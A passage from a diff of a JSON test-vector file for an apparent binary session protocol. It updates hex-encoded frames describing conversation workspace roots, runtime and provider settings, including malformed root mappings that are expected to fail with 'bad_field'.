3657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a22776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-view-not-allowed", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f746865722f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f746865722f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-folders-without-name", "direction": "down", - "hex": "574d58310101000001000000330600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c64657273222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000700600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c64657273222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-outputs-of-another-session", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-views-nested", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f646565706572222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f646565706572222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-ids-repeat", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c226775657374506